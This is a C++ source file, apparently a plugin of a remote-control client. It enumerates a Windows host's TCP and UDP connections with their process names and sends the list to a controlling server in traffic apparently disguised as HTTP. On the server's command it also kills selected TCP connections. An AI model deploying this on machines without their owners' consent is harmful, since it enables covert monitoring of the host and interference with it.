// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "ConnectionsManager.h"
#include "Common.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <tcpmib.h>
#include <udpmib.h>
#include <vector>

#pragma comment(lib, "iphlpapi.lib")

#if ENABLE_CONNECTION_MNG

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
    SendConnectionList();
}

CConnectionsManager::~CConnectionsManager()
{
}

// 把 PID 解析成进程映像名（UTF-8）。进程可能已退出/受保护，失败时填 <unknown>。
static void ResolveProcName(DWORD pid, char* out, int outLen)
{
    if (outLen <= 0) return;
    out[0] = 0;
    if (pid == 0) {
        strcpy_s(out, outLen, "System Idle Process");
        return;
    }
    HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    if (h == NULL) {
        strcpy_s(out, outLen, "<unknown>");
        return;
    }
    wchar_t wpath[MAX_PATH] = { 0 };
    DWORD len = MAX_PATH;
    BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
    CloseHandle(h);
    if (!ok) {
        strcpy_s(out, outLen, "<unknown>");
        return;
    }
    wchar_t* base = wcsrchr(wpath, L'\\');
    base = base ? base + 1 : wpath;
    if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
        strcpy_s(out, outLen, "<unknown>");
        return;
    }
    out[outLen - 1] = 0;
}

// IPv4 地址：iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD（值 0xC0A80101 即 192.168.1.1），
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
static void PutAddr4(uint8_t* out, DWORD addrNet)
{
    out[0] = (uint8_t)(addrNet >> 24);
    out[1] = (uint8_t)(addrNet >> 16);
    out[2] = (uint8_t)(addrNet >> 8);
    out[3] = (uint8_t)(addrNet);
}

static DWORD GetAddr4(const uint8_t* addr)
{
    return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
}

static void AppendTcp4(std::vector<ConnectionInfo>& rows)
{
    PMIB_TCPTABLE_OWNER_PID pTable = NULL;
    DWORD dwSize = 0;
    if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
        return;
    pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
    if (pTable == NULL) return;
    if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
        for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
            const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
            ConnectionInfo info = { 0 };
            info.proto = 1;
            info.af = AF_INET;
            info.pid = r.dwOwningPid;
            PutAddr4(info.localAddr, r.dwLocalAddr);   // 网络序 DWORD → 网络序字节
            info.localPort = ntohs((uint16_t)r.dwLocalPort);  // 端口网络序 → 主机序
            PutAddr4(info.remoteAddr, r.dwRemoteAddr);
            info.remotePort = ntohs((uint16_t)r.dwRemotePort);
            info.state = r.dwState;
            ResolveProcName(info.pid, info.procName, sizeof(info.procName));
            rows.push_back(info);
        }
    }
    free(pTable);
}

static void AppendTcp6(std::vector<ConnectionInfo>& rows)
{
    PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
    DWORD dwSize = 0;
    if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
        return;
    pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
    if (pTable == NULL) return;
    if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
        for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
            const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
            ConnectionInfo info = { 0 };
            info.proto = 1;
            info.af = AF_INET6;
            info.pid = r.dwOwningPid;
            memcpy(info.localAddr, r.ucLocalAddr, 16);
            info.localPort = ntohs((uint16_t)r.dwLocalPort);
            memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
            info.remotePort = ntohs((uint16_t)r.dwRemotePort);
            info.state = r.dwState;
            ResolveProcName(info.pid, info.procName, sizeof(info.procName));
            rows.push_back(info);
        }
    }
    free(pTable);
}

static void AppendUdp4(std::vector<ConnectionInfo>& rows)
{
    PMIB_UDPTABLE_OWNER_PID pTable = NULL;
    DWORD dwSize = 0;
    if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
        return;
    pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
    if (pTable == NULL) return;
    if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
        for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
            const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
            ConnectionInfo info = { 0 };
            info.proto = 2;
            info.af = AF_INET;
            info.pid = r.dwOwningPid;
            PutAddr4(info.localAddr, r.dwLocalAddr);
            info.localPort = ntohs((uint16_t)r.dwLocalPort);
            info.state = 0;
            ResolveProcName(info.pid, info.procName, sizeof(info.procName));
            rows.push_back(info);
        }
    }
    free(pTable);
}

static void AppendUdp6(std::vector<ConnectionInfo>& rows)
{
    PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
    DWORD dwSize = 0;
    if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
        return;
    pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
    if (pTable == NULL) return;
    if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
        for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
            const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
            ConnectionInfo info = { 0 };
            info.proto = 2;
            info.af = AF_INET6;
            info.pid = r.dwOwningPid;
            memcpy(info.localAddr, r.ucLocalAddr, 16);
            info.localPort = ntohs((uint16_t)r.dwLocalPort);
            info.state = 0;
            ResolveProcName(info.pid, info.procName, sizeof(info.procName));
            rows.push_back(info);
        }
    }
    free(pTable);
}

VOID CConnectionsManager::SendConnectionList()
{
    std::vector<ConnectionInfo> rows;
    AppendTcp4(rows);
    AppendTcp6(rows);
    AppendUdp4(rows);
    AppendUdp6(rows);

    size_t count = rows.size();
    if (count > 0xFFFF) count = 0xFFFF;
    ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
    LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
    if (szBuffer == NULL) return;
    szBuffer[0] = TOKEN_CONNECTION_LIST;
    uint16_t cnt = (uint16_t)count;
    memcpy(szBuffer + 1, &cnt, 2);
    for (size_t i = 0; i < count; ++i)
        memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));

    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
    m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
    LocalFree(szBuffer);
}

void CConnectionsManager::KillConnection(const ConnectionInfo& info)
{
    // 仅 IPv4 TCP 有公开 API 可强制断开（SetTcpEntry + DELETE_TCB）。
    if (info.proto != 1 || info.af != AF_INET) return;

    MIB_TCPROW row = { 0 };
    row.dwState = MIB_TCP_STATE_DELETE_TCB;
    row.dwLocalAddr = GetAddr4(info.localAddr);     // 网络序字节 → 网络序 DWORD
    row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
    row.dwRemoteAddr = GetAddr4(info.remoteAddr);
    row.dwRemotePort = (DWORD)htons(info.remotePort);
    SetTcpEntry(&row);
}

VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
    switch (szBuffer[0]) {
    case COMMAND_CONNECTION:   // 刷新
        SendConnectionList();
        break;
    case COMMAND_KILL_CONNECTION:   // 强制断开
        if (ulLength >= 1 + sizeof(ConnectionInfo)) {
            ConnectionInfo info;
            memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
            KillConnection(info);
        }
        SendConnectionList();
        break;
    default:
        break;
    }
}

#endif